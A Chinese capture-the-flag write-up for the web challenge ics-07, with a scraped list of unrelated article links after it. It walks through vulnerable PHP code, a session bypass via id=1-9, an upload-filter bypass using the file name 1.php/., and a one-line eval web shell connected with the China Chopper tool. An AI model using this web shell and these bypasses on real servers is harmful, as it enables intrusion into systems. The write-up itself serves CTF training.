题目描述:工控云管理系统项目管理页面解析漏洞

查看view-source下三段代码

<?phpsession_start();if (!isset($_GET[page])) {show_source(__FILE__);die();}if (isset($_GET[page]) && $_GET[page] != 'index.php') {include('flag.php');}else {header('Location: ?page=flag.php');}?>

存在page参数并且page不等于index.php,才包含flag.php

 <?phpif ($_SESSION['admin']) {$con = $_POST['con'];$file = $_POST['file'];$filename = "backup/".$file;if(preg_match('/.+\.ph(p[3457]?|t|tml)$/i', $filename)){die("Bad file extension");}else{chdir('uploaded');$f = fopen($filename, 'w');fwrite($f, $con);fclose($f);}}?>

session的用户须为admin,$filename="backup/".$file表示上传文件时的路径在backup后面,con是向file中写入文件内容(想到了文件上传),preg_match对后缀进行了过滤,过滤的后缀的是.php3,.php4,.php4,php5,.php7,.t,.tml其中并不会区分大小写。chdir()函数切换了路径。

<?phpif (isset($_GET[id]) && floatval($_GET[id]) !== '1' && substr($_GET[id], -1) === '9') {include 'config.php';$id = mysql_real_escape_string($_GET[id]);$sql="select * from cetc007.user where id='$id'";$result = mysql_query($sql);$result = mysql_fetch_object($result);} else {$result = False;die();}if(!$result)die("<br >something wae wrong ! <br>");if($result){echo "id: ".$result->id."</br>";echo "name:".$result->user."</br>";$_SESSION['admin'] = True;}?>

floatval ()函数用于获取变量的浮点值。doubleval 是 floatval 的别名。

substr() 函数返回字符串的一部分。代码中的意思为字符串最后一位9

页面代码分析完毕,整合思考,

从而构造payload: ?page=flag.php&id=1-9&submit

(1)文件上传构造的payload:

 con=<?php @eval($_POST['123']);?>&file=1.php/.一句话木马

(2)通过火狐浏览器的hackbar上传到服务器端。

(3)查看靶机的上传文件页面可以看到文件上传成功。

(4)用菜刀连接一句话菜刀,填写1.php所在地址以及添加密码。

(5)  成功获取靶机的webshell,进而查看flag.php的flag值。

Web(ics-07)相关推荐

  1. web前端 (07)CSS 03+盒模型+定位

    目录 盒模型 (框模型) ***** 内边距 padding *** 外边距 margin *** 列表样式 * 鼠标形状 *** 定位 *****默认定位(static定位) *****如何修改 默 ...

  2. 【web素材】07—仿京东,小米,锤子,华为等20+套商城网站模板

    素材整理 | 杨小爱 在之前,我跟大家分享过很多web素材的学习资源,我做这个栏目的目的,就是希望我们可以通过看别人的项目代码,然后去比较自己的代码,这些素材资源,也是我自己在做项目的时候,收集整理积 ...

  3. 机器视觉开源处理库汇总

    从cvchina搞到的机器视觉开源处理库汇总,转来了,很给力,还在不断更新... 通用库/General Library OpenCV 无需多言. RAVL Recognition And Visio ...

  4. 一些能说到点子上的课程

    ROS https://web.ics.purdue.edu/~rvoyles/Classes/ROSprogramming/ http://wiki.ros.org/rviz/UserGuide  ...

  5. 济南python工资一般多少钱-济南Python+人工智能

    "无所不能"的编程语言 多领域选择语言 未来大有可为 北京python培训python开发培训班北京python培训北京python培训北京python培训机构北京python培训 ...

  6. resin指定java版本_resin的几个常用配置

    本文着重介绍resin的几个常用配置 注: 1. 本文并非resin.conf的使用说明,只是从实用角度出发,按需分析常用的配置.更多的内容到官网学习吧: 2. 基于resin3.x的探讨. (友情提 ...

  7. 高性能计算机的基准测试程序包括,QX∕T 148-2020 气象领域高性能计算机系统测试与评估规范(可复制版)(40页)-原创力文档...

    ICS 07. 060 A 47 中华人民共和国气象行业标准 QX/T 148-2020 代替 QX斤 1 48-201 I 气象领域高性能计算机系统 测试与评估规范 Specification fo ...

  8. 济南python工资一般多少-济南Python+人工智能

    "无所不能"的编程语言 多领域选择语言 未来大有可为 北京python培训python开发培训班北京python培训北京python培训北京python培训机构北京python培训 ...

  9. 高标准农田建设通则2014

    ICS 07.040 A 76 中华人民共和国国家标准 GB/T 30600-2014 高标准农田建设通则 Well-facilitated farmland construction-General ...

  10. python26章_44G-26章节Python盖世修炼最新实战 全新升级版Python全栈架构师高级课程 从零实战...

    44G-26章节Python盖世修炼最新实战 全新升级版Python全栈架构师高级课程 从零实战 ===============课程目录=============== 课程目录过长,下面只列出了章节目 ...

最新文章

  1. ajax post请求,后台servlet来接收
  2. gcc build a project
  3. 【Linux】42.Ubuntu 18.04笔记本电脑关闭盖子无法唤醒问题解决
  4. android 评论输入框(PopupWindow)
  5. (5) nginx:location
  6. Azure Sentinel -- 云原生企业安全信息和事件管理平台(SIEM)初探系列一
  7. 贾跃亭债务小组:美法院支持贾跃亭个人破产重组继续进行
  8. java中使用nextLine(); 没有输入就自动跳过的问题?
  9. React-引入图片的方法
  10. C#/winform 旅游管理信息系统
  11. Python排序算法(四)——插入排序
  12. 假设检验1——理论基础
  13. 抖音自媒体平台上最容易上热门的7大领域,你知道吗?
  14. Linux命令行与shell脚本(17)--正则表达式
  15. 【微信小程序】组件之页面布局
  16. SQL SERVER 服务器名称的更改
  17. 钉钉群机器人开发接口
  18. 时间序列模型:AR、MA和ARMA
  19. 【推荐架构day5】今日头条算法的基本原理
  20. 【雷达通信】基于matlab GUI相控阵雷达方向图【含Matlab源码 1048期】

热门文章

  1. linux c语言lzma,LZMA 算法简介
  2. 思维模型:建立高品质思维的30种模型
  3. C# WinForm GUI之WinForm基础
  4. !include: could not find: “nsProcessW.nsh“
  5. 应用计算机测定线性电阻伏安特性实验器材,实验一电路元件伏安特性的测试
  6. Java基础知识(一) 基本概念
  7. 你还在以为打马赛克就安全了吗?AI消除马赛克,GitHub开源项目上线三天收获近7000星
  8. Python爬虫-02 request模块爬取妹子图网站
  9. Python学习:python数组模块用法
  10. 文件上传绕过安全狗WAF实战